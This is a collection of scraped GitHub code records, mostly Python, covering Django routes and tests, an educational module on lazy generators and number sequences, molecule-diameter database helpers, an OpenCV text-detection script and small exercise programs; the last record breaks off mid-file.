self.mock_correct_wsgi_request = Exception()\n setattr(\n self.mock_correct_wsgi_request, 'content_type', 'application/json')\n setattr(self.mock_correct_wsgi_request,\n 'body', '{\"group\": 10, \"init\":2010, \"end\": 2012}')\n\n self.mock_wrong_wsgi_request = Exception()\n setattr(\n self.mock_wrong_wsgi_request, 'content_type', 'application/xml')\n setattr(self.mock_wrong_wsgi_request, 'body', 'foobar')\n\n def test_serialize_get_request(self):\n query = serialize_get_request(self.correct_request)\n\n self.assertEqual(query.init, self.correct_request['init'])\n self.assertRaises(ValidationError, lambda: serialize_get_request(\n self.wrong_request1))\n self.assertRaises(ValidationError, lambda: serialize_get_request(\n self.wrong_request2))\n\n def test_serialize_saving_capacity_request(self):\n query = serialize_saving_capacity_request(\n self.mock_correct_wsgi_request)\n\n self.assertEqual(query.group, 'top')\n self.assertRaises(\n ValidationError, lambda: serialize_saving_capacity_request(\n self.mock_wrong_wsgi_request))\n","repo_name":"baranbartu/income-wealth-dj","sub_path":"incomewealth/app/tests/test_serializers.py","file_name":"test_serializers.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"20721708696","text":"from random import Random\nfrom fractions import Fraction\n\n# For the Aronson sequence below\n\nfrom int_to_english import int_to_english\n\n# The itertools module defines tons of handy functions to perform\n# computations on existing iterators, to be combined arbitrarily.\n\nfrom itertools import takewhile, islice, permutations, combinations, combinations_with_replacement\n\n# The \"double-ended queue\" or \"deque\" allows efficient push\n# and pop operations from both ends of the queue, whereas a\n# Python list only allows efficient operations in one end.\n\nfrom collections import deque\n\n# A generator is a function that, unlike a regular function that\n# always forgets what it has done and starts from beginning each\n# time it is called, a generator remembers where it left off and\n# continues from there at the next call. In Python, generators\n# are an easy way to define lazy sequences that produce their\n# elements one element at the time, only doing any work when\n# actually asked to do so.\n\n# There is nothing in the laws of nature or man that says that\n# a lazy sequence could not just as well be infinite. The users\n# of that sequence can (and always should) decorate it with\n# itertools.islice to extract the finite prefix instead of\n# using more low-level old-timey and non-Pythonic techniques.\n\n# To get started, the classic chestnut of Fibonacci numbers.\n# It's like that one is a law of some sorts for CS instructors.\n\n\ndef fibonacci(a=1, b=1):\n yield a\n yield b\n curr, prev = a + b, b\n while True: # Infinite loop for infinite sequence...\n yield curr # Pause to give out this element.\n curr, prev = curr + prev, curr\n\n\n# One one, two twos, three threes, four fours, five fives, ...\n# Nested loops come often handy here, although since our goal is\n# to replace loops with lazy sequences, this function could be\n# written in a more pretty form with itertools functions.\n\ndef pyramid_series():\n v = 1\n while True:\n for _ in range(v):\n yield v\n v += 1\n\n\n# Finite for all values of start, or infinite for some? Nobody knows!\n# In general, no algorithm can exist that could analyze the given\n# generator source code and determine whether the sequence that it\n# produces is finite or infinite.\n\ndef collatz(start):\n curr = start\n while True:\n yield curr\n if curr == 1:\n break\n curr = curr // 2 if curr % 2 == 0 else 3 * curr + 1\n\n\n# A generator that produces random integers with an ever-increasing\n# scale. Handy for generating random test cases in tester.py that\n# produce test cases from all scales so that the first test cases\n# are guaranteed to be small. The scale determines how wide range\n# the random increase from the previous element is taken. After\n# every skip elements, the scale gets multiplied by its original value.\n# Everything is again nice and tight integer arithmetic. (Well, I\n# guess that inside a computer, everything is integer arithmetic\n# anyway...)\n\ndef scale_random(seed, scale, skip):\n # The seed value determines the future random sequence.\n rng = Random(seed)\n curr, count, orig = 1, 0, scale\n while True:\n curr += rng.randint(1, scale)\n yield curr\n count += 1\n if count == skip:\n scale = scale * orig\n count = 0\n\n\n# Prime numbers, remembering all the prime numbers generated so far. To\n# test whether a number is prime, it is sufficient to test divisibility\n# only by the smaller primes found so far.\n\ndef primes():\n # Collect the primes that we discover into primes list.\n primes_ = [2, 3, 5, 7, 11, 13]\n # Handy syntactic sugar for yield inside for-loop\n yield from primes_\n curr = 17\n while True:\n for divisor in primes_:\n if curr % divisor == 0:\n break\n if divisor * divisor > curr:\n primes_.append(curr)\n yield curr\n break\n curr += 2\n\n\n# Theon's Ladder, devised by Theon of Smyrna (ca. 140 B.C), is a sequence\n# of rational numbers that converges to square root of two. This method\n# generalizes for the square roots of any integer n. This generator\n# produces Fractions a/b that denote the numerator and denominator\n# of that fraction. The infinite sequence of Fraction(a, b) converges\n# rapidly to the square root of n.\n\ndef theons_ladder(n=2, a=1, b=1):\n while True:\n f = Fraction(a, b)\n yield f\n # Let the Fraction class simplify these numbers.\n a, b = f.numerator, f.denominator\n # Original Theon's ladder was just n = 2.\n a, b = a + n * b, a+b\n\n\n# The next technique comes handy sometimes. Iterate through all integer\n# pairs of the form (a, b) where a and b are nonnegative integers so\n# that every such pair is visited exactly once.\n\ndef all_pairs():\n s = 0 # In each anti-diagonal of the infinite 2D grid, a+b == s.\n while True:\n for a in range(0, s + 1):\n yield a, s-a\n s += 1\n\n# That one is handy when you need to loop through the infinite\n# quadrant of pairs (a, b) where a and b are natural numbers,\n# and you need to find some pair (a, b) that satisfies the thing\n# that your code is looking for. Use the all_pairs generator\n# to systematically sweep through this infinite plane until\n# you find the (a, b) that is closest to origin (0, 0).\n\n\n# The Kolakoski sequence whose elements describe the run-length\n# encoding of that very same sequence. That is, this sequence\n# describes its own structure. (Keanu says whoa.)\n# https://en.wikipedia.org/wiki/Kolakoski_sequence\n\ndef kolakoski(n=2):\n yield 1\n yield 2\n # The queue q contains the part of the sequence that has\n # been computed but not yet yielded.\n q, prev = deque([2]), 2\n while True:\n v = q.popleft()\n yield v\n prev = prev+1 if prev < n else 1\n for i in range(v):\n q.append(prev)\n\n\n# Another cute self describing sequence, this one with words.\n\ndef aronson(letter='t'):\n n, owed, curr = 1, [], f'Letter {letter} is in positions '\n while True:\n yield from curr\n owed.extend([i+n for (i, c) in enumerate(curr) if c == letter])\n n += len(curr)\n curr, owed = int_to_english(owed[0]) + ', ', owed[1:]\n\n\n# Since a generator can take parameters, we can write a iterator\n# decorator that modifies the result of any existing iterator. We\n# don't have to care how that iterator was originally defined, as\n# long at it somehow produces new values. This gives our decorators\n# a maximally general nature.\n\n# Let through every k:th element and discard the rest.\n\ndef every_kth(seq, k: int):\n count = k\n for x in seq:\n count -= 1\n if count == 0:\n yield x\n count = k\n\n\n# Duplicate each element k times.\n\ndef stutter(seq, k):\n for x in seq:\n for _ in range(k):\n yield x\n\n\ndef __demo():\n\n # Functions every_kth and stutter cancel each other out.\n print(\"Collatz sequence starting from 12345 is:\")\n print(list(every_kth(stutter(collatz(12345), 3), 3)))\n\n # Take primes until they become greater than one thousand.\n print(\"Here is every seventh prime number up to one thousand:\")\n print(list(takewhile((lambda x: x <= 1000), every_kth(primes(), 7))))\n\n print(\"Here are the first 1000 elements of Kolakoski(2):\")\n print(\"\".join((str(x) for x in islice(kolakoski(2), 1000))))\n\n print(\"Here are the first 1000 elements of Kolakoski(3):\")\n print(\"\".join((str(x) for x in islice(kolakoski(3), 1000))))\n\n print(\"First 1000 characters of modified Aronson infinite t-sentence:\")\n print(\"\".join(islice(aronson(), 1000)))\n\n print(\"First 1000 characters of modified Aronson infinite e-sentence:\")\n print(\"\".join(islice(aronson('e'), 1000)))\n\n print(\"Here are 100 random numbers from increasing scales:\")\n print(\", \".join((str(x) for x in islice(scale_random(123, 10, 5), 100))))\n\n print(\"Here are 100 random numbers from another scale:\")\n print(\", \".join((str(x) for x in islice(scale_random(123, 5, 10), 100))))\n\n print(\"Let us examine Theon's ladder for square root of 7.\")\n for i, f in enumerate(islice(theons_ladder(7), 50)):\n print(f\"{i}: a = {f.numerator}, b = {f.denominator} error = {float(7 - f*f):.11}\")\n\n print(\"For c = 2, terms in even positions of Theon's ladder give precisely\")\n print(\"the Pythagorean triples whose legs differ by exactly one:\")\n for f in islice(theons_ladder(2), 0, 40, 2):\n a, b = f.numerator, f.denominator\n h, s, e = b, 1, b\n while s < e:\n m = (s+e) // 2\n v = m**2 + (m+1)**2\n if v < h*h:\n s = m+1\n else:\n e = m\n print(f\"({s}, {s+1}, {h})\", end=\" \")\n print()\n\n # What other mysteries of number theory are hiding inside this\n # ladder for various other starting values of a, b and c?\n\n # Iterators can be combined into various combinatorial possibilities.\n # Again, even though there are exponentially many elements produced,\n # these elements are generated lazily one at the time as needed. We\n # could iterate through trillions of combinations without running out\n # of memory, assuming we had the patience to wait out the answer.\n\n # For small n, these combinations are still pretty tolerable. You can\n # try the effect of increasing n (just by little!) to see how the\n # sequences grow exponentially.\n\n n = 4 # Try also 5 or 6.\n\n print(f\"Here are all possible permutations of {list(range(1, n+1))}.\")\n print(list(permutations(range(1, n+1))))\n\n print(f\"Here are all possible 3-combinations of {list(range(1, n+1))}.\")\n print(list(combinations(range(1, n+1), 3)))\n\n print(f\"Here are all possible 3-multicombinations of {list(range(1, n+1))}.\")\n print(list(combinations_with_replacement(range(1, n+1), 3)))\n\n\n# For good examples of iterators and generators in action, check\n# out the itertools recipes section in the Python documentation.\n\nif __name__ == \"__main__\":\n __demo()\n","repo_name":"ikokkari/PythonExamples","sub_path":"generators.py","file_name":"generators.py","file_ext":"py","file_size_in_byte":10034,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"48"} +{"seq_id":"7173510324","text":"import orderclassifier as model\nimport preprocess as preprocess\n\nif __name__ == \"__main__\":\n print()\n data = preprocess.read_data('data/train.csv')\n clf = model.read_model('models/rf_total.model')\n\n model.eval_model(clf, data)\n\n","repo_name":"sevmardi/ml-projects","sub_path":"backorder-prediction/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19179615165","text":"from atexit import register\nfrom django.urls import path, include, re_path\nfrom .views import index, login, rechazar, registro, tienda, carro, agregar, eliminar, restar, limpiar, sumar, vista_bodeguero, vista_contador, vista_vendedor\nfrom django.conf.urls.static import static\nfrom django.conf import settings\n\nurlpatterns = [\n path('', index, name='index'),\n path('tienda/', tienda, name='tienda'),\n path('login/', login, name='login'),\n path('registro/', registro, name='registro'),\n path('vista_vendedor/', vista_vendedor, name='vista_vendedor'),\n path('vista_bodeguero/', vista_bodeguero, name='vista_bodeguero'),\n path('vista_contador/', vista_contador, name='vista_contador'),\n path('carro/', carro, name='carro'),\n path('agregar//', agregar, name=\"Add\"),\n path('sumar//', sumar, name=\"Sum\"),\n path('eliminar//', eliminar, name=\"Del\"),\n path('restar//', restar, name=\"Sub\"),\n path('limpiar/', limpiar, name=\"CLS\"),\n path('recahazar//', rechazar, name=\"rec\"),\n\n\n]\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT)\n","repo_name":"NachooSilva/aaaaa","sub_path":"tienda_musicpro/tiendita/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36513558137","text":"from django.urls import path\n\nfrom . import views\n\napp_name = \"notes\"\n\nurlpatterns = [\n path(\"create\", views.NoteCreateView.as_view(), name=\"create\"),\n path(\n \"/update/\", views.NoteUpdateView.as_view(), name=\"update\"\n ),\n path(\n \"/delete/\", views.NoteDeleteView.as_view(), name=\"delete\"\n ),\n]\n","repo_name":"SudarshanSelvamani/notes_app","sub_path":"notes/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22842189895","text":"class Demo:\n\tnum1=int(input (\"enter the first value : \"))\n\t\n\tdef __init__(self,num2):\n\t\tnum1=int (input (\"enter value of first function : \"))\n\t\tself.num2=num2\n\t\tsum1=num1+self.num2\n\t\tprint(\"the sum using instance variable: \",sum1)\n\n\tdef sumnum(self,num2):\n\t\tsum1=Demo.num1+self.num2\n\t\tprint(\"the sum using class variable: \",sum1)\n\n\nobj=Demo(int (input(\"enter the second value : \")))\nobj.sumnum(5)","repo_name":"AbinDass/assignment-class","sub_path":"class2.py","file_name":"class2.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1593228986","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Distributed under the terms of the MIT License.\n\n\"\"\"\nFunctions for I/O with molecule output files and DB handling.\n\nAuthor: Andrew Tarzia\n\nDate Created: 30 Aug 2018\n\"\"\"\n\nimport pandas as pd\nfrom numpy import average\nimport rdkit_functions\n\n\ndef initialize_mol_output_DF(filename, overwrite=False):\n \"\"\"\n Read in or overwrite molecule output file to Pandas DF.\n\n \"\"\"\n if overwrite is True:\n # pandas data frame for output\n molecule_output = pd.DataFrame(columns=[\n 'name', 'iupac_name',\n 'DB', 'DB_ID', 'SMILE', 'role',\n 'min_diam', 'mid_diam',\n 'max_diam', 'ratio_1',\n 'ratio_2'\n ])\n molecule_output.to_csv(filename, index=False)\n else:\n try:\n molecule_output = pd.read_csv(filename)\n except FileNotFoundError:\n # pandas data frame for output\n molecule_output = pd.DataFrame(columns=[\n 'name', 'iupac_name',\n 'DB', 'DB_ID', 'SMILE',\n 'role',\n 'min_diam', 'mid_diam',\n 'max_diam', 'ratio_1',\n 'ratio_2'\n ])\n molecule_output.to_csv(filename, index=False)\n\n return molecule_output\n\n\ndef save_mol_output_DF(filename, molecule_output):\n \"\"\"\n Save updated version of molecule output file from PANDAS DF.\n\n \"\"\"\n molecule_output.to_csv(filename, index=False)\n\n\ndef get_DB_prop(DB):\n \"\"\"\n Returns properties of specific database.\n\n {DB: (directory, DB specific dictionary)}\n\n \"\"\"\n\n DBs = {\n 'CHEBI': (\n '/home/atarzia/psp/molecule_DBs/chebi/',\n {'cmpds_file': 'compounds.tsv',\n 'names_file': 'names.tsv',\n 'strct_file': 'structures.csv',\n 'onto_file': 'chebi.obo'}\n ),\n 'BKMS': (\n '/home/atarzia/psp/molecule_DBs/BKMS_react/',\n {}\n ),\n 'SABIO': (\n '/home/atarzia/psp/molecule_DBs/SABIO/',\n {}\n ),\n 'BRENDA': (\n '/home/atarzia/psp/molecule_DBs/brenda_details/',\n {}\n ),\n 'UNIPROT': (\n '/home/atarzia/psp/sequence_db/uniprot/',\n {'pI_results': 'UNIPROT_pIs.txt'}\n ),\n 'ATLAS': (\n '/home/atarzia/psp/molecule_DBs/atlas/',\n {\n 'ATLAS_CSV_full': 'ATLAS-FULL.csv',\n 'ATLAS_CSV_1': 'ATLAS-1.csv',\n 'ATLAS_CSV_2': 'ATLAS-2.csv',\n 'ATLAS_CSV_3': 'ATLAS-3.csv',\n 'ATLAS_CSV_4': 'ATLAS-4.csv',\n 'ATLAS_CSV_5': 'ATLAS-5.csv',\n 'ATLAS_CSV_6': 'ATLAS-6.csv'\n },\n {\n 'ATLAS_CSV_full': 137805,\n 'ATLAS_CSV_1': 22693,\n 'ATLAS_CSV_2': 104083,\n 'ATLAS_CSV_3': 4805,\n 'ATLAS_CSV_4': 2211,\n 'ATLAS_CSV_5': 402,\n 'ATLAS_CSV_6': 4672\n }\n ),\n }\n try:\n return DBs[DB]\n except KeyError:\n raise ValueError(\n f'Error: {DB} does not exist.'\n f'available DBs: {list(DBs.keys())}'\n )\n\n\ndef get_molecule_diameters(\n mol_dict,\n molecule_output,\n mol_output_file,\n out_dir,\n vdwScale=1.0,\n boxMargin=4.0,\n spacing=1.0,\n N_conformers=10,\n MW_thresh=130\n):\n \"\"\"Get the molecule diameters of molecules in a dictionary.\n\n Keywords:\n mol_dict (dict) - (SMILES, DB, DB_ID, iupac_name, role)\n Role is reactant or product.\n molecule_output (DataFrame) - DataFrame of molecule properties\n (Defined in initialize_mol_output_DF)\n mol_output_file (str) - molecule_output file\n out_dir (str) - directory to output molecule files\n vdwScale (float) - Scaling factor for the radius of the atoms\n to determine the base radius used in the encoding\n - grid points inside this sphere carry the maximum\n occupancy\n default = 1.0 Angstrom\n boxMargin (float) - added margin to grid surrounding molecule\n default=4.0 Angstrom\n spacing (float) - grid spacing - default = 1.0 Angstrom\n MW_thresh (float) - Molecular Weight maximum - default =\n 130 g/mol\n N_conformers (int) - number of conformers to calculate diameter\n of default = 10\n\n Returns:\n outputs molecule properties to molecule_output and\n mol_output_file\n\n \"\"\"\n for key in mol_dict:\n val = mol_dict[key]\n if val[0] is None:\n # check if key already output\n if key in list(molecule_output['name']):\n continue\n out_row = pd.DataFrame([\n [key, val[3], val[1], val[2], val[0], val[4],\n 0, 0, 0, 0, 0]],\n columns=molecule_output.columns)\n # append row to molecule_output\n molecule_output = molecule_output.append(out_row,\n ignore_index=True)\n # check if calculation already done\n # check by SMILES (not name) because they should be specific.\n # collect results if so\n if val[0] in list(molecule_output['SMILE']):\n res_line = molecule_output[\n molecule_output['SMILE'] == val[0]\n ]\n old_role = res_line['role'].iloc[0]\n # if previous calculation was for a different role\n # then modify the existing role to be 'both'\n if val[4] != old_role and old_role != 'both':\n res_line['role'] = 'both'\n # update line\n molecule_output[\n molecule_output['SMILE'] == val[0]\n ] = res_line\n\n else:\n print('doing calculation...')\n # name: smiles\n res = rdkit_functions.calc_molecule_diameter(\n key, val[0],\n out_dir=out_dir,\n vdwScale=vdwScale,\n boxMargin=boxMargin,\n spacing=spacing,\n N_conformers=N_conformers,\n MW_thresh=MW_thresh\n )\n if res is None or len(res) == 0:\n out_row = pd.DataFrame([\n [key, val[3], val[1], val[2], val[0], val[4],\n 0, 0, 0, 0, 0]],\n columns=molecule_output.columns)\n else:\n # get the min values of all diameters of all conformers\n min_diam = round(min(res['diam1']), 3)\n mid_diam = round(min(res['diam2']), 3)\n max_diam = round(min(res['diam3']), 3)\n # get avg values of all ratios of all conformers\n ratio_1 = round(average(res['ratio_1']), 3)\n ratio_2 = round(average(res['ratio_2']), 3)\n\n out_row = pd.DataFrame([\n [key, val[3], val[1], val[2], val[0], val[4],\n min_diam, mid_diam, max_diam, ratio_1, ratio_2]],\n columns=molecule_output.columns)\n\n # append row to molecule_output\n molecule_output = molecule_output.append(out_row,\n ignore_index=True)\n\n # update molecule output file\n save_mol_output_DF(mol_output_file, molecule_output)\n","repo_name":"andrewtarzia/enzyme_screen","sub_path":"archived_code/DB_functions.py","file_name":"DB_functions.py","file_ext":"py","file_size_in_byte":7414,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"42583645349","text":"class PlayerCharacter:\r\n def __init__(self, name='Anonymous', age=0, money=0): # constructor function\r\n self.name = name # attributes\r\n self.age = age\r\n self.money = money\r\n\r\n def shout(self):\r\n print(\r\n f'Hi! my name is {self.name} and I\\'m currently {self.age} years old! I have {self.money} money left.')\r\n\r\n def run(self):\r\n print(f'{self.name} has fled the area.')\r\n\r\n def buyweapon(self):\r\n weapondict = {'Sword': 40, 'Bow': 25, 'Hammer': 50}\r\n if self.money == 0:\r\n print('Get out of my shop!')\r\n elif self.money < 15:\r\n print(\r\n f'Your character {self.name} does not have enough money to buy this weapon. Try again another time.')\r\n elif self.money > 50:\r\n print(\r\n f'You character {self.name} has an astounding sum of cash! Which weapons would you like to buy?')\r\n for k, v in weapondict.items():\r\n print(k, ':', v)\r\n Cost = input('Which would would you like to select?: ')\r\n self.money -= weapondict.get(Cost)\r\n print(\r\n f'You have just bought a {Cost} and now have {self.money} money left. Have a nice day!')\r\n\r\n\r\nplayer1 = PlayerCharacter('George', 90, 99)\r\nplayer1.shout()\r\n# player1.run()\r\nplayer1.buyweapon()\r\n","repo_name":"DTPsykko/Work","sub_path":"Python Docs/Encapsulation.py","file_name":"Encapsulation.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45062044573","text":"import itertools\nimport sys\ninput = sys.stdin.readline\ns = input().rstrip()\nresult = 0\nall_s = set(itertools.permutations(s, len(s)))\nfor str in all_s:\n len_str = 0\n for idx in range(len(str)-1):\n if str[idx] != str[idx+1]:\n len_str += 1\n else:\n break\n if len_str == len(s)-1:\n result += 1\nprint(result)","repo_name":"healtheloper/dochon_logic","sub_path":"backjoon/brute_force/_1342_행운의문자열.py","file_name":"_1342_행운의문자열.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35033358729","text":"import os\nimport pickle\nimport numpy as np\nimport subprocess\nimport argparse\nimport traceback\nimport csv\n\nimport running_utils\nfrom config import DATA_DIR, NUM_OF_INPUT, TEST_DONE_COLS, TEST_DONE_FILE\n\ndef compare_nested_list(list_1, list_2):\n # this function compares two lists by checking the contents of the lists\n if isinstance(list_1, list):\n results = True\n for i, j in zip(list_1, list_2):\n if not compare_nested_list(i, j):\n results = False\n return results\n else:\n a = np.array(list_1)\n b = np.array(list_2)\n if not np.allclose(a, b):\n return False\n else:\n return True\n\ndef main():\n # this file is used to compare the results of the testing rules\n parser = argparse.ArgumentParser()\n parser.add_argument(\"lib\", choices=['tensorflow', 'pytorch'])\n parser.add_argument(\"version\", type=str)\n args = parser.parse_args()\n config = vars(args)\n\n lib = config['lib']\n version = config['version']\n\n results_dir = os.path.join(DATA_DIR, \"rule_output\")\n\n csv_file_path = \"{}_{}_output_file.csv\".format(lib, version)\n with open(csv_file_path, mode='w') as csv_file:\n fieldnames = [\"rule\", 'api_name', 'Linf', \"result_file\"]\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n\n writer.writeheader()\n\n # the list of rules to analyze\n rule_list = [\n \"rule_1\",\n \"rule_2\", # pass\n \"rule_3\", # pass\n \"rule_4\",\n \"rule_5\",\n \"rule_6\",\n \"rule_7\", # pass\n \"rule_8\",\n \"rule_9\", # pass\n \"rule_10\",\n \"rule_11\", # pass\n \"rule_12\", # pass\n \"rule_13\",\n \"rule_14\",\n \"rule_15\",\n \"rule_16\",\n # \"rule_17\"\n ]\n\n for rule in rule_list:\n api_list_file = os.path.join(\"rules\", \"%s_%s_api_list.txt\" % (rule, lib))\n if os.path.exists(api_list_file):\n api_list = running_utils.load_list(api_list_file)\n for api in api_list:\n for output_index in range(NUM_OF_INPUT):\n result_file = os.path.join(results_dir, lib, version, rule, api, \"{}.output\".format(output_index))\n if os.path.exists(result_file):\n try:\n with open(result_file, \"rb\") as f:\n output_1, output_2 = pickle.load(f)\n # print(output_1, output_2)\n\n if rule == \"rule_15\" or rule == \"rule_16\":\n # for rule_15 and rule_16, the output_1 and output_2 are lists\n has_inconsistency = False\n if output_1 is not None and output_2 is not None:\n if lib == \"tensorflow\":\n [[output_1, metrics_value_1, config_1, weight_1], [output_2, metrics_value_2, config_2, weight_2]] = output_1, output_2\n if not np.allclose(output_1, output_2):\n print(\"Found difference! at {} for {}\".format(output_index, 'prediction'))\n print(np.max(np.abs(output_1 - output_2)))\n has_inconsistency = True\n metrics_value_1 = np.array(metrics_value_1)\n metrics_value_2 = np.array(metrics_value_2)\n if not np.allclose(metrics_value_1, metrics_value_2):\n print(metrics_value_1, metrics_value_2)\n print(\"Found difference! at {} for {}\".format(output_index, 'metrics'))\n print(np.max(np.abs(metrics_value_1 - metrics_value_2)))\n has_inconsistency = True\n if not config_1 == config_2:\n print(\"Found difference! at {} for {}\".format(output_index, 'config'))\n has_inconsistency = True\n # print(config_1, config_2)\n # weight_1 = np.array(flatten(weight_1))\n # weight_2 = np.array(flatten(weight_2))\n if not compare_nested_list(weight_1, weight_2):\n print(\"Found difference! at {} for {}\".format(output_index, 'weight'))\n print(weight_1)\n print(weight_2)\n has_inconsistency = True\n elif lib == \"pytorch\":\n [[output_1, state_dict_1], [output_2, state_dict_2]] = output_1, output_2\n if not np.allclose(output_1, output_2):\n print(\"Found difference! at {} for {}\".format(output_index, 'prediction'))\n print(np.max(np.abs(output_1 - output_2)))\n print(output_1, output_2)\n has_inconsistency = True\n\n for key in state_dict_1.keys():\n w1 = state_dict_1[key]\n w2 = state_dict_2[key]\n w1_np = w1.cpu().detach().numpy()\n w2_np = w2.cpu().detach().numpy()\n if not np.allclose(w1_np, w2_np):\n print(\"Found difference! at {} for {}\".format(output_index, key))\n print(np.max(np.abs(w1_np - w2_np)))\n has_inconsistency = True\n if has_inconsistency:\n writer.writerow({\"rule\": rule, 'api_name': api, 'Linf': has_inconsistency, \"result_file\": result_file})\n else:\n # for rule_1 to rule_14, the output_1 and output_2 are values\n if output_1 is not None and output_2 is not None:\n # print(np.allclose(output_1, output_2))\n if not np.allclose(output_1, output_2):\n print(\"difference, {}\".format(result_file))\n diff_Linf = np.max(np.abs(output_1 - output_2))\n writer.writerow({\"rule\": rule, 'api_name': api, 'Linf': diff_Linf, \"result_file\": result_file})\n except:\n print(\"error, {}\".format(result_file))\n # print(traceback.format_exc())\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lin-tan/eagle","sub_path":"EAGLE/analyze_results.py","file_name":"analyze_results.py","file_ext":"py","file_size_in_byte":7606,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"19162557795","text":"import cv2\nimport numpy as np\n\n\ndef cutout_rectangles(img, rects):\n result = list()\n for rect in rects:\n result.append(img[rect[1]:rect[1] + rect[3], rect[0]:rect[0] + rect[2]])\n return result\n\n\ndef text_detection(rgb, debug = False):\n def show_debug_img(title, image):\n if debug:\n cv2.imshow(title, image)\n cv2.waitKey(0)\n\n morph_kernel_grad_shape = (2, 2)\n morph_kernel_close_shape = (20, 10)\n threshold_min_text_ratio = 0.5 # How much percent of the pixels are foreground\n threshold_min_height = 15 # Min height of ounding box\n threshold_min_width = 50 # Min width of bounding box\n\n gray = cv2.cvtColor(rgb, cv2.COLOR_BGR2GRAY)\n\n show_debug_img(\"gray\", gray)\n\n _, bw = cv2.threshold(gray, 0.0, 255.0, cv2.THRESH_OTSU + cv2.THRESH_BINARY)\n\n show_debug_img(\"bw\", bw)\n\n morph_kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, morph_kernel_grad_shape)\n bw = cv2.morphologyEx(bw, cv2.MORPH_GRADIENT, morph_kernel)\n\n show_debug_img(\"grad\", bw)\n\n morph_kernel = cv2.getStructuringElement(cv2.MORPH_RECT, morph_kernel_close_shape)\n connected = cv2.morphologyEx(bw, cv2.MORPH_CLOSE, morph_kernel)\n\n show_debug_img(\"connected\", connected)\n\n mask = np.zeros(bw.shape)\n _, contours, hierarchy = cv2.findContours(connected, cv2.RETR_CCOMP, cv2.CHAIN_APPROX_SIMPLE)\n hierarchy = hierarchy[0] # why????\n\n result = list()\n\n idx = 0\n while idx >= 0:\n rect = cv2.boundingRect(contours[idx])\n mask_roi = mask[rect[1]:rect[1] + rect[3], rect[0]:rect[0] + rect[2]]\n cv2.drawContours(mask, contours, idx, (255, 255, 255), cv2.FILLED)\n r = (float(cv2.countNonZero(mask_roi)) / mask_roi.size) if mask_roi.size > 0 else 0\n if debug:\n print(\"r = {}, rect = {}\".format(r, rect))\n if r > threshold_min_text_ratio and rect[2] > threshold_min_width and rect[3] > threshold_min_height:\n \"\"\"\n assume at least 45% of the area is filled if it contains text\n constraints on region size:\n these two conditions alone are not very robust. better to use something\n like the number of significant peaks in a horizontal projection as a third condition\n \"\"\"\n \n result.append(rect)\n idx = hierarchy[idx][0]\n\n return result\n\nif __name__ == \"__main__\":\n # img_path = \"res/dlink_zoom_1_5m_2017-06-27.jpg\"\n # img_path = \"res/dlink_zoom_medium_high_color_2m.jpg\"\n img_path = \"res/dlink_zoom_color_2m.jpg\"\n large = cv2.imread(img_path)\n\n cv2.imshow(\"large\", large)\n cv2.waitKey(0)\n\n rects = text_detection(large, True)\n for rect in rects:\n cv2.rectangle(large, (rect[0], rect[1]), (rect[0] + rect[2], rect[1] + rect[3]), (0, 255, 0), 10)\n cv2.imshow(\"final\", large)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n","repo_name":"benikm91/IANA_IP6","sub_path":"ocr_prototype/src/extract_roi.py","file_name":"extract_roi.py","file_ext":"py","file_size_in_byte":2896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42365739145","text":"# I want to create a new list with the coffees that start with c\nmenu = [\"espresso\", \"mocha\", \"latte\", \"cappucino\", \"cortada\", \"americano\"]\n\n# print(new_list)\ndef locate_coffee(coffee):\n if coffee[0] == \"c\":\n return coffee\n\nnew_menu = map(locate_coffee, menu) \n\"\"\"\n-> map function takes all the elements in a list and applies the function passed as its argument, returning all values.\n\"\"\"\nprint(new_menu)\nfor x in new_menu:\n print(x)\n\nnew_menu = filter(locate_coffee, menu)\n\"\"\"\n-> filter function takes all the elements and applies the function passed as its arguments. It creates a new list containing the output values that are True.\n\"\"\"\nprint(new_menu)\nfor x in new_menu:\n print(x)\n \n","repo_name":"Eugene-Kwaka/Python-Intermediate-Lessons","sub_path":"functional_programming/maps_filters.py","file_name":"maps_filters.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1942759450","text":"import numpy as np\nimport pylab as plt\nimport seaborn as sns\nsns.set(style='ticks', palette='Set2')\nsns.despine()\nplt.rc('text', usetex=True)\nplt.rc('font',**{'family':'serif','sans-serif':['helvetica']})\n\ndef csv_to_npy(n):\n '''\n create numpy arrays for t, output signal \"signal\" and input signal \"sine\".\n '''\n input_dir = \"../data/fr/\"\n output_dir = input_dir + \"npy/\"\n filename = \"fr\" + str(n)\n t = []\n signal = []\n sine = []\n file = open(input_dir + filename + \"a\" + \".csv\") # read data of signal from csv table\n for i, line in enumerate(file):\n if not i==0:\n x = line.split(\",\")\n t.append(float(x[0]))\n 